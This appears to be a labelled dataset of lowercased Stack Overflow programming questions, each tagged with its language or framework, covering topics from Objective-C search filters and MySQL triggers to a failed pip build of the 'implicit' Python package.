nssearch field predicate filter <pre><code>-(void) searchfieldchanged{      mpvtmodellist *list = [[mpvtmodellist alloc] initwithclass:[masspoassignmentmodel class]];      [intersectiontableview selectrowindexes:[nsindexset indexsetwithindex:1] byextendingselection:no];  //    [searchintersectionfield setstringvalue:[[[searchintersectionfield stringvalue] stringbyreplacingoccurrencesofstring:@ \\  withstring:kmpvtblankstring] stringbyreplacingoccurrencesofstring:@ \   withstring:kmpvtblankstring]];      [searchintersectionfield setstringvalue:[searchintersectionfield stringvalue]];     nsarray *array=[[nsarray alloc]init];      if([[[searchintersectionfield cell]placeholderstring] isequaltostring:@ pricing org ]){        nsarray *temparray=[[[searchintersectionfield stringvalue] uppercasestring] componentsseparatedbystring:@   ];     nslog(@ temparray %@  temparray);          nsstring * str=[[searchintersectionfield stringvalue] uppercasestring];         nslog(@ str is %@  str);           for(id item in temparray ){             [intersectiontableview reloaddata];             array=[[[self intersectionlist]entities]filteredarrayusingpredicate:[nspredicate predicatewithformat:@ mpopricingorg.stringvalue contains[cd] %@  item]];             nslog(@  item is %@  item);             nslog(@ insie if arr %@  array);               [list appendentities:array];             nslog(@ hello %@  [[searchintersectionfield cell]placeholderstring]);         }     }     else{         nslog(@ inside else );         array = [[self searchfieldcontroller] updatepredicatewithfiltertext:[searchintersectionfield stringvalue] searcharray:[[self intersectionlist] entities] searchtableview:intersectiontableview];         nslog(@ in side else array %@  array);         [list appendentities:array];     }      [self setintersectionlist:list];     [list release];     [intersectiontableview reloaddata];     [intersectiontableview deselectall:nil];     [super updateplacard:intersectiontableview];  } </code></pre>   i have called this method in <code>-(void)controltextdidediting</code>. but when i enter  china  the filter predicate works fine. but when i enter  china brazil  it only shows the record for china and not for brazil. please suggest a better way of doing it.,objective-c
object relational sql - iterate over collections (table of ref) and varray  i have a problem.    i need to iterate over an table of ref order_typ. and then i need to iterate over the positions of the order_typ to get/select the nr.     i have no idea how to do this...  please help me    <a href= https://i.stack.imgur.com/nkzpa.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nkzpa.png  alt= sql scenerio - example ></a>,sql
limiting the output of php s echo to 200 characters  i m trying to limit my php <code>echo</code> to only 200 characters and then if there are any more replace them with <code> ... </code>.    how could i modify the following statement to allow this    <pre><code>&lt; php echo $row[ style-info ]  &gt; </code></pre>,php
how to select optional columns in mysql   i want to run a query on my mysql database. depending on what the values are  i want to select different fields.    for example  if field  e  is null  then i want to select fields a b c d. if field  e  is not null  then i want so select fields a b c d e.    something along the lines of   <pre><code>response = select a b c d (and e if e is not null) from table1 where id = 1; </code></pre>,mysql
count the consecutive letter in a string if the value 1 is there then it should be empty   suppose i am having the string  abbcccd  then it should show  ab2c3d  likewise i need to get the output,python
how to increase the labels at runtime  i am accessing the web services  which return me data in a string array. now i am creating a label at runtime  and adding it to the view of the application. but for eg if there are 3 recodrs  only the third value is displayed in the label. i mean to say i want to add labels one below the other. how am i to do it...    i declared nsinteger *y=172; and created a label uilabel * l1=[[uilabel alloc]initwithframe:cgrectmake(11 y+50 302 98)]; i dont know...whether it is correct .... but it surely gives me an error incompatible type for argument 2 of cgrextmake,iphone
first reader and writer in multithreads  what i m trying to do is to allow a user to enter number of readers and writers. the n-writers write integers one at a time to a buffer and n-readers read and print the integer one at a time.    ie. if there are 20 integers with 2 writers and 2 readers. the sum of both writers data written must be equal to 20  while both readers must read 20 each.    i m having an issue when multiple readers are reading from the buffer and printing out a value.    so far writers() is working correctly    <em>note: some syntax is changed to try to simplify it.</em>   <pre><code>typedef struct {     int buffer[size]     int out; //first unread element in array     int in; //next empty position in array } data;  int rc; //number of reader threads pthread_t mutex  wmutex; </code></pre>   the amount of integers needed to write/read can be any number even exceeding the buffer size. therefore the reader will need to  consume  the integer in the buffer and set the index accordingly to make the buffer circular to allow more data to be written.    when  out == in  the buffer is empty    when  (in + 1) % size == out  the buffer is full   <pre><code>void writer()     .... void reader() {     int dataread = 0;     while(there are more integers to write)     {         ...         //waits until writer signals that buffer is not empty         ...          pthread_mutex_lock(&amp;mutex);         readcount++;         if(rc == 1) //prevents writers from accessing buffer         {             pthread_mutex_lock(&amp;wmutex);         }         pthread_mutex_unlock(&amp;mutex);         ...         //print buffer.data[buffer.curr];         dataread++;         sleep(1);         ...         pthread_mutex_lock(&amp;mutex);          //increment out to next unread element in buffer.         // *changing this value affects reader threads executing after current reader         buffer.out = (buffer.out + 1) % size          rc--;         if(rc == 0) //signals writers that there is 0 reader process          {                  // and buffer has space             pthread_mutex_unlock(&amp;wmutex);         }         pthread_mutex_unlock(&amp;mutex);         ...         //signal writer that buffer has space      }     //print dataread to user  dataread should be same for all n-readers } </code></pre>   the issue i m having is multiple readers need to read the same integer. as changing the out index will affect what integer the other readers will print.    i need to make sure that every reader reads the same integer before out is changed.,c
account for fixed header with smooth scroll  i have a jquery script am using for some smooth scrolling on my site  and i have a fixed position header  but i m not sure how to account for the fixed header size  as when it scrolls down  the fixed header covers a title.   <pre><code>$(function () {     $( a[href*= # ]:not([href= # ]) ).click(function () {         if (location.pathname.replace(/^\//    ) == this.pathname.replace(/^\//    ) &amp;&amp; location.hostname == this.hostname) {             var target = $(this.hash);             target = target.length   target : $( [name=  + this.hash.slice(1) +  ] );             if (target.length) {                 $( html  body ).animate({                     scrolltop: target.offset().top                 }  1000);                 return false;             }         }     }); }); </code></pre>   does anybody have any suggestions,jquery
can someone explain why the nested yield return executes (c# yield return)  <pre><code>using system.reflection;  internal class testreflection {     public static ienumerable&lt;object&gt; parsetype(type t)     {         foreach (memberinfo mi in t.getmembers())         {             yield return mi;             foreach (object x in mi.getcustomattributes(true))             {                 yield return x;             }         }     } } </code></pre>   so my question is how does the iterator know when to step into the nested foreach. i had assumed that the first yield return would always execute and the nested yield return is never executed. but this is not the case  which indicates there s something i don t quite understand about the yield return statement.    can someone explain this     thanks james,c#
is it possible to create a single linked list with indexes but without pointers   i ve got a question if it s possible to do that     one man said to me that i can do something like this:   <pre><code>struct node {   int data;   int nextindex; } </code></pre>   but i am not sure if i should not use pointers at all.,c++
how can i preserve views and controllers across restart of an application in iphone   i am building up a game and want to give user a continue functionality when he restarts the application. so i want to know how to code or what to do to start an application where it left last time.    is there any sample code available in app center which explains how can this be possible.    tnx in advance.,iphone
android :video encoder  i am working in android. i designed a video player in my application. most of videos are playing successfully but in some videos i face problem. this error is occurred when i tried to run videos <strong> sorry this video cannot be played </strong>    this is information about my video    <pre><code>general  format                                   : mpeg-4 format profile                           : base media codec id                                 : isom overall bit rate mode                    : variable overall bit rate                         : 1 133 kbps encoded date                             : utc 2012-03-07 07:36:33 tagged date                              : utc 2012-03-07 07:36:33  video format                                   : avc format/info                              : advanced video codec format profile                           : high@l3.0 format settings  cabac                   : yes format settings  reframes                : 2 frames codec id                                 : avc1 codec id/info                            : advanced video coding duration                                 : 29s 920ms bit rate                                 : 1 000 kbps maximum bit rate                         : 2 212 kbps width                                    : 640 pixels height                                   : 480 pixels display aspect ratio                     : 16:9 frame rate mode                          : constant frame rate                               : 25.000 fps color space                              : yuv chroma subsampling                       : 4:2:0 bit depth                                : 8 bits scan type                                : progressive bits/(pixel*frame)                       : 0.130 stream size                              : 3.64 mib (89%) </code></pre>   i searched for this on google then i found this is related to format of video. some one suggest <strong>ffmpeg</strong> and <strong>mencoder</strong> etc but all these things related to command line.    i want to know that is there any way to write code  to encode that video so android default player can play it successfully.    if necessary then i can upload that video.    please suggest me what should i do for this.    thank you in advance.,android
setting properties for each sub element of each sub element  i have a set of classes i populate from a 3rd party xml (so i can t really control the structure that much):   <pre><code>public class category {     // some properties...      public tournament[] tournaments {get;set;} }  public class tournament {     // some properties...      public match[] matches {get;set;} }  public class match {     // some properties...      public competitors competitors {get;set;} }  public class competitors  {     // some properties...      public teams[] teams {get;set;} } </code></pre>   and so on.    now  i need on the team level to set some properties from different classes -  for instance  i need the id of the category  the gender of the tournament etc.    so for now  i have a <code>foreach</code> loop that sets the category id for each tournament  and later on in the code i have 3 nested <code>foreach</code> loops to copy values from properties of the tournaments to properties the teams.    <pre><code>        foreach (var tournament in tournaments)         {             foreach (var match in tournament.matches)             {                 match.someproperty = tournament.someproperty;                  foreach (var team in match.competitors.teams)                 {                     team.categoryid = tournament.categoryid;                     team.gender = tournament.gender;                     // and a few more here...                 }             }         } </code></pre>   needless to say this is quite an ugly code. i was wondering if there is a better way to do it  perhaps using linq or something like that.   <h2>update:</h2>   for now i have changed my code so that each class has a reference to it s parent. this way i don t need to set any more properties down the chain.<br> instead of having <code>team.categoryid</code> i m now using <code>team.match.tournament.category.id</code><br> however  i still have have the same problem  only now it s concentrated in only one place - after the deserialization is completed  i have 4 nested foreach loops - so it looks like this:   <pre><code>foreach (var category in mainclass.categories) {     category.filename = mainclass.filename;     foreach (var tournament in category.tournaments)     {         tournament.category = category;         foreach (var match in tournament.matches)         {             match.tournament = tournament;             foreach (var team in match.fixture.competitors.teams)             {                 team.match = match;             }         }     } } </code></pre>   it would be nice to find a way to avoid these nested loops...,c#
possible to call code upon termination in a c program   in c++ if i wish to have code called upon something bad happening i can place the code in the destructor  or a try-catch.    is there a similar technique in c  whereby if the program terminates unexpectedly i can call a particular routine (to clean-up resources),c
creating html dynamically or just replace values where ever applicable   i have got a static html as shown below given by css developer   <pre><code>&lt;div class= printheader &gt;                 &lt;div&gt;&lt;/div&gt;               &lt;div class= rest_head &gt;                     &lt;h1 class= rest_name &gt;paris restaurant&lt;/h1&gt;                     &lt;h6 class= rest_adres &gt;opp. dbafc banck  friiuu  ratech city  maherr - 500 081.&lt;br&gt; phone: 9001 1156782&lt;/h6&gt;                 &lt;/div&gt;             &lt;/div&gt; </code></pre>   now my requirement is that i need to append dynamic values where ever applicable .    my question is should i create a html dynamically     <strong>first approach</strong>     for example     create the following div dynamically    <pre><code>    &lt;div&gt;&lt;/div&gt;               &lt;div class= rest_head &gt;                     &lt;h1 class= rest_name &gt;paris restaurant&lt;/h1&gt;                     &lt;h6 class= rest_adres &gt;opp. dbafc banck  friiuu  ratech city  maherr - 500 081.&lt;br&gt; phone: 9001 1156782&lt;/h6&gt;                 &lt;/div&gt;  and append it to printheader  </code></pre>   or    <strong>second approach</strong>    <pre><code>or should i just replace the values where ever applicable     what would be faster (mine is a mobile application ) </code></pre>   the html i have shown here is smaller it is much more bigger . please share your inputs,jquery
how do i apply opacity to a div wihout affecting the other elements within it   wen i apply opacity to a div  all the other elements within that div acquire the same opacity as the parent div  of which i want the children not to have any opacity. i would appreciate the help.,css
variable name from string in obj-c  i have a bunch of variables named index1  index2  ...  indexn. i want to calculate <code>i = array[index1] + array[index2] + ... + array[indexn].</code> i heard that i can do that in a loop  getting the current variable name from the loop index. how can i do that,objective-c
why do sizeof statsements produce different results  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/720077/calculating-size-of-an-array >calculating size of an array</a><br>   <a href= https://stackoverflow.com/questions/1975128/sizeof-an-array-in-the-c-programming-language >sizeof an array in the c programming language </a>    </blockquote>     why does <code>sizeof(arr)/(double)sizeof(arr[0])</code> work and <code>sizeof(arr+0)/(double)sizeof(arr[0])</code> not work     and why does <code>sizeof(arr)/(double)sizeof(arr[0])</code> also not work when arr is passed to a function  here is the full code example:   <pre><code>#include &lt;iostream&gt;  using namespace std;  int givesize(int arr[]) {    cout&lt;&lt;sizeof(arr)/(double)sizeof(arr[0])&lt;&lt; \n ; }  int main() {    int arr[] = {1 2 3 4 5};    cout&lt;&lt;sizeof(arr)/(double)sizeof(arr[0])&lt;&lt; \n ;    cout&lt;&lt;sizeof(arr+2)/(double)sizeof(arr[0])&lt;&lt; \n ;    givesize(arr);    return 0; } </code></pre>   output 5 1 1,c++
executing query in mysql trigger not working  i have two table  testing1  with fields  firstname  and  lastname . another table  testing2  with field  firstname .    so the trigger checks first whether the  new.firstname  exists in  testing2  table or not. if it does then it doesn t execute the insert query but if it doesn t exist then the insert query is executed and  new.firstname  is added in  testing2  table.    here s the trigger that i created ... but i m getting error in the if loop ...    <pre><code>delimiter $$; create trigger testref after insert on testing1 for each row begin declare rowcount integer; set @rowcount := ( select count(firstname) from testing2 where testing2.firstname =        new.firstname ); if (rowcount)  insert into testing2 (firstname) values (new.firstname); end $$  </code></pre>   i m unable to figure out where did i made the mistake... any help,mysql
drawing in ios application  i want to do drawing over uiimageview in ios.i am able to draw the drawing over the whole screen but i want to draw the drawing over specific area only.my code is:-   <pre><code>    uitouch *touch = [touches anyobject];         currentpoint = [touch locationinview:self.view]; //// tracing whatever ur finger touching the screen     nslog(@ %data  currentpoint);     uigraphicsbeginimagecontext(cgsizemake  (300 568)) ;  /// (300 568));   //// 320  568  480 iph4 screen  568 ip5 screen     [drawimage.image drawinrect:cgrectmake(0 0  300 568)];    //(0 0  300 568)];     cgcontextsetlinecap(uigraphicsgetcurrentcontext ()  kcglinecapround); // round line     cgcontextsetlinewidth(uigraphicsgetcurrentcontext()  18.0);  //// line width diameter the stroke     cgcontextsetrgbstrokecolor(uigraphicsgetcurrentcontext()  1  1  1  1);  ///// rgb colour     cgcontextbeginpath(uigraphicsgetcurrentcontext());   ///// start when we draw the path.     cgcontextmovetopoint(uigraphicsgetcurrentcontext()  lastpoint.x  lastpoint.y);  /////     cgcontextaddlinetopoint(uigraphicsgetcurrentcontext()  currentpoint.x  currentpoint.y);     cgcontextstrokepath(uigraphicsgetcurrentcontext());     // cgcontextstrokepath(uigraphicsgetcurrentcontext()) ;   [drawimage setframe:cgrectmake (0 0  300  568)]; //// (0  0  300 568)]; ///(100  100  150 280)];     drawimage.image = uigraphicsgetimagefromcurrentimagecontext(); ///// whole upper para defined uigraphicsendimagecontext(); //// done drawing lastpoint = currentpoint;  //// </code></pre>,ios
find a word location with wordapp.activedocument.range  i m working a code that finds a placeholder in word document ex. xxtestxx. i m using this code to replace text in the document. what i can t get to work is finding the start and end of a placeholder.    what is the best way to find the range of the playholder    <pre><code>        object rangestart = 5;         object rangeend = 10;         word.range rng = wordapp.activedocument.range(ref rangestart  ref rangeend);         rng.text = replacetext.tostring();         rng.select(); </code></pre>   i ve used wordapp.selection.find.execute to replace text but it has a limitation of 250 characters.    thanks,c#
error 401 unauthorized in docuware serviceconnection.create  i m using in a c# projet where we re using the docuware api for electronic document management.    sometimes  when i m doing some unit test  i have an httpclientrequestexception - 401 unauthorized (not every time) and i don t understand why.. why does it happen only some time..     this is my connection code :   <pre><code>uri uri = new uri(adresse); this.serviceconnection = serviceconnection.create(uri  username  password); </code></pre>   this exception is thrown during the create.    does someone already face this problem and i hope solved it     thanks,c#
how to get the route name when location changes   i defined some routes:   <pre><code>angular.module( myapp   [])   .config( $routeprovider   function($routeprovider) {     $routeprovider.when( /aaa   { templateurl:  /111.html  })                   .when( /bbb   { templateurl:  /222.html });   }); </code></pre>   and i want to get the route name when user changes the route:   <pre><code>angular.module( myapp )   .run([ $rootscope   function($rootscope) {     $rootscope.$on( $routechangesuccess   function(scope  current  pre) {       // how to get current route name  e.g. /aaa or /bbb       console.log( current route name:   +    );     }   }]); </code></pre>   but i don t know how to get it. i can get the <code>templateurl</code>  but not the route name.   <hr>   <strong>update</strong>    a more complex use case:   <pre><code>$routeprovider.when( /users/:id   { templateurl:  /show_user.html  }) </code></pre>   if current path is:   <pre><code>/users/12345 </code></pre>   it should match <code>/users/:id</code>  but how do i know which route is matched and to get the route name <code>/users/:id</code>,angularjs
avoiding browser auto-underlining and linking generic words  i ve seen this all over the net in all browsers: the dreaded blue link on highly searched works.    currently  on my site at <a href= http://www.thumbslinger.com  rel= nofollow >http://www.thumbslinger.com</a> down in my bird-seed  legal  copy  the two words  play guitar  are getting underlined and linking. in firebug  i inspect and find this automatically inserted:   <pre><code>&lt;a id= falink_2_0_1  class= fatxtl  href= # &gt;play guitar&lt;/a&gt; </code></pre>   i had to get around yahoo and their thing about randomly selecting generic words that showed up in searches when coding emails but besides overriding this particular id  is there any talk on a way to keep this from happening in the first place     edit: now i see there are two other words and they are given unique id s! not as easy to just restyle the falink. i can use jquery to parse and search but ye gods.. what is all this,css
percentage error during a query with mysql  i ve a mysql query trouble.    here the sql fiddle: <a href= http://sqlfiddle.com/#!9/49ee80/1  rel= nofollow noreferrer >http://sqlfiddle.com/#!9/49ee80/1</a>    the goal of the query is to ad a report per day of the billed things by booking.    the problem i have is when for a same day i have two billed things but with different taxes amount.    for example  for the <code>2018-03-06</code> taxes amount is actually <code>64.68</code> whereas it should be <code>17.13</code>. why     because of that:   <pre><code>((100*2)   &lt;-- item 1 x the quantity contains in bil_quantity *5/100)    &lt;-- taxe amount for this item +          &lt;-- second item (15.50*2)  &lt;-- item 2 x the quantity contains in bil_quantity *23/100))  &lt;-- taxe amount for this item </code></pre>   how can i change the query to make it work please      thanks a lot for your help.,mysql
unrecognized attribute  targetframework . note that attribute names are case-sensitive  i m trying to up load my site and i m getting this error message:   <blockquote>    unrecognized attribute  targetframework . note that attribute names are case-sensitive.  </blockquote>  <pre><code>&lt;compilation debug= true  targetframework= 4.0 &gt; </code></pre>   the site works fine on my local pc but won t open when i loaded it to my host and tried to view it online.,asp.net
error installing python  implicit  framework  i am trying to install the implicit package on windows 10 and python 2.7.15  using this command:   <pre><code>pip install implicit </code></pre>   there seems to be an error with implicit/bpr.cpp if i am not mistaken. anyone knows what the problem is    <blockquote>    implicit\bpr.cpp(1277) : fatal error c1003: error count exceeds 100; stopping compilation  </blockquote>   this is the log i am getting:   <pre><code>    c:\windows\system32&gt;pip install implicit collecting implicit   using cached https://files.pythonhosted.org/packages/d9/0c/7f9f065cceab3c27b7207bbbc3127ff698f1dbaabc2e5f5ef92cb3a39a43/implicit-0.3.6.tar.gz requirement already satisfied: numpy in c:\python27\lib\site-packages (from implicit) (1.11.2+mkl) requirement already satisfied: scipy&gt;=0.16 in c:\python27\lib\site-packages (from implicit) (0.18.1) requirement already satisfied: h5py in c:\python27\lib\site-packages (from implicit) (2.8.0) requirement already satisfied: tqdm in c:\python27\lib\site-packages (from implicit) (4.24.0) requirement already satisfied: six in c:\python27\lib\site-packages (from h5py-&gt;implicit) (1.10.0) building wheels for collected packages: implicit   running setup.py bdist_wheel for implicit ... error   complete output from command c:\python27\python.exe -u -c  import setuptools  tokenize;__file__= c:\\users\\shiro\\appdata\\local\\temp\\pip-install-civoat\\implicit\\setup.py ;f=getattr(tokenize   open   open)(__file__);code=f.read().replace( \r\n    \n );f.close();exec(compile(code  __file__   exec ))  bdist_wheel -d c:\users\shiro\appdata\local\temp\pip-wheel-iv5suw --python-tag cp27:   warning:root:the nvcc binary could not be located in your $path. either add it to your path  or set $cudahome to enable cuda extensions   failed to find cuda toolkit. building without gpu acceleration.   running bdist_wheel   running build   running build_py   creating build   creating build\lib.win-amd64-2.7   creating build\lib.win-amd64-2.7\implicit   copying implicit\als.py -&gt; build\lib.win-amd64-2.7\implicit   copying implicit\approximate_als.py -&gt; build\lib.win-amd64-2.7\implicit   copying implicit\nearest_neighbours.py -&gt; build\lib.win-amd64-2.7\implicit   copying implicit\recommender_base.py -&gt; build\lib.win-amd64-2.7\implicit   copying implicit\utils.py -&gt; build\lib.win-amd64-2.7\implicit   copying implicit\__init__.py -&gt; build\lib.win-amd64-2.7\implicit   creating build\lib.win-amd64-2.7\implicit\cuda   copying implicit\cuda\__init__.py -&gt; build\lib.win-amd64-2.7\implicit\cuda   creating build\lib.win-amd64-2.7\implicit\datasets   copying implicit\datasets\lastfm.py -&gt; build\lib.win-amd64-2.7\implicit\datasets   copying implicit\datasets\million_song_dataset.py -&gt; build\lib.win-amd64-2.7\implicit\datasets   copying implicit\datasets\movielens.py -&gt; build\lib.win-amd64-2.7\implicit\datasets   copying implicit\datasets\sketchfab.py -&gt; build\lib.win-amd64-2.7\implicit\datasets   copying implicit\datasets\_download.py -&gt; build\lib.win-amd64-2.7\implicit\datasets   copying implicit\datasets\__init__.py -&gt; build\lib.win-amd64-2.7\implicit\datasets   running build_ext   building  implicit._als  extension   creating build\temp.win-amd64-2.7   creating build\temp.win-amd64-2.7\release   creating build\temp.win-amd64-2.7\release\implicit   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\vc\bin\amd64\cl.exe /c /nologo /ox /md /w3 /gs- /dndebug -ic:\python27\include -ic:\python27\pc /tpimplicit\_als.cpp /fobuild\temp.win-amd64-2.7\release\implicit\_als.obj /o2 /openmp   _als.cpp   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\vc\include\xlocale(342) : warning c4530: c++ exception handler used  but unwind semantics are not enabled. specify /ehsc   implicit\_als.cpp(3637) : warning c4244:  =  : conversion from  long  to  char   possible loss of data   implicit\_als.cpp(3919) : warning c4244:  =  : conversion from  long  to  char   possible loss of data   implicit\_als.cpp(4404) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(4405) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(4850) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(5568) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(5569) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(6732) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(6733) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(7178) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(7896) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(7897) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(9060) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(9061) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(9506) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(10224) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(10225) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(11678) : warning c4244:  =  : conversion from  long  to  char   possible loss of data   implicit\_als.cpp(11960) : warning c4244:  =  : conversion from  long  to  char   possible loss of data   implicit\_als.cpp(12468) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(12469) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(12854) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(12999) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(13040) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(13526) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(13527) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(14584) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(14585) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(14970) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(15115) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(15156) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(15642) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(15643) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(16700) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(16701) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(17086) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(17231) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(17272) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(17758) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(17759) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(19070) : warning c4244:  =  : conversion from  long  to  char   possible loss of data   implicit\_als.cpp(19352) : warning c4244:  =  : conversion from  long  to  char   possible loss of data   implicit\_als.cpp(19842) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(19843) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(19844) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(20148) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(20652) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(20653) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(20654) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(21462) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(21463) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(21464) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(21768) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(22272) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(22273) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(22274) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(23082) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(23083) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(23084) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(23388) : warning c4244:  =  : conversion from  double  to  float   possible loss of data   implicit\_als.cpp(23892) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(23893) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   implicit\_als.cpp(23894) : warning c4244:  =  : conversion from  py_ssize_t  to  int   possible loss of data   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\vc\bin\amd64\link.exe /dll /nologo /incremental:no /libpath:c:\python27\libs /libpath:c:\python27\pcbuild\amd64 /libpath:c:\python27\pc\vs9.0\amd64 /export:init_als build\temp.win-amd64-2.7\release\implicit\_als.obj /out:build\lib.win-amd64-2.7\implicit\_als.pyd /implib:build\temp.win-amd64-2.7\release\implicit\_als.lib /manifestfile:build\temp.win-amd64-2.7\release\implicit\_als.pyd.manifest   _als.obj : warning lnk4197: export  init_als  specified multiple times; using first specification      creating library build\temp.win-amd64-2.7\release\implicit\_als.lib and object build\temp.win-amd64-2.7\release\implicit\_als.exp   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\winsdk\bin\x64\mt.exe -nologo -manifest build\temp.win-amd64-2.7\release\implicit\_als.pyd.manifest -outputresource:build\lib.win-amd64-2.7\implicit\_als.pyd;2   building  implicit._nearest_neighbours  extension   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\vc\bin\amd64\cl.exe /c /nologo /ox /md /w3 /gs- /dndebug -iimplicit -ic:\python27\include -ic:\python27\pc /tpimplicit\_nearest_neighbours.cpp /fobuild\temp.win-amd64-2.7\release\implicit\_nearest_neighbours.obj /o2 /openmp   _nearest_neighbours.cpp   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\vc\include\xlocale(342) : warning c4530: c++ exception handler used  but unwind semantics are not enabled. specify /ehsc   implicit\_nearest_neighbours.cpp(2867) : warning c4244:  =  : conversion from  long  to  char   possible loss of data   implicit\_nearest_neighbours.cpp(3187) : warning c4800:  int  : forcing value to bool  true  or  false  (performance warning)   implicit\_nearest_neighbours.cpp(3604) : warning c4267:  =  : conversion from  size_t  to  int   possible loss of data   implicit\_nearest_neighbours.cpp(4027) : warning c4800:  int  : forcing value to bool  true  or  false  (performance warning)   implicit\_nearest_neighbours.cpp(4444) : warning c4267:  =  : conversion from  size_t  to  int   possible loss of data   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\vc\bin\amd64\link.exe /dll /nologo /incremental:no /libpath:c:\python27\libs /libpath:c:\python27\pcbuild\amd64 /libpath:c:\python27\pc\vs9.0\amd64 /export:init_nearest_neighbours build\temp.win-amd64-2.7\release\implicit\_nearest_neighbours.obj /out:build\lib.win-amd64-2.7\implicit\_nearest_neighbours.pyd /implib:build\temp.win-amd64-2.7\release\implicit\_nearest_neighbours.lib /manifestfile:build\temp.win-amd64-2.7\release\implicit\_nearest_neighbours.pyd.manifest   _nearest_neighbours.obj : warning lnk4197: export  init_nearest_neighbours  specified multiple times; using first specification      creating library build\temp.win-amd64-2.7\release\implicit\_nearest_neighbours.lib and object build\temp.win-amd64-2.7\release\implicit\_nearest_neighbours.exp   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\winsdk\bin\x64\mt.exe -nologo -manifest build\temp.win-amd64-2.7\release\implicit\_nearest_neighbours.pyd.manifest -outputresource:build\lib.win-amd64-2.7\implicit\_nearest_neighbours.pyd;2   building  implicit.bpr  extension   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\vc\bin\amd64\cl.exe /c /nologo /ox /md /w3 /gs- /dndebug -iimplicit -ic:\python27\include -ic:\python27\pc /tpimplicit\bpr.cpp 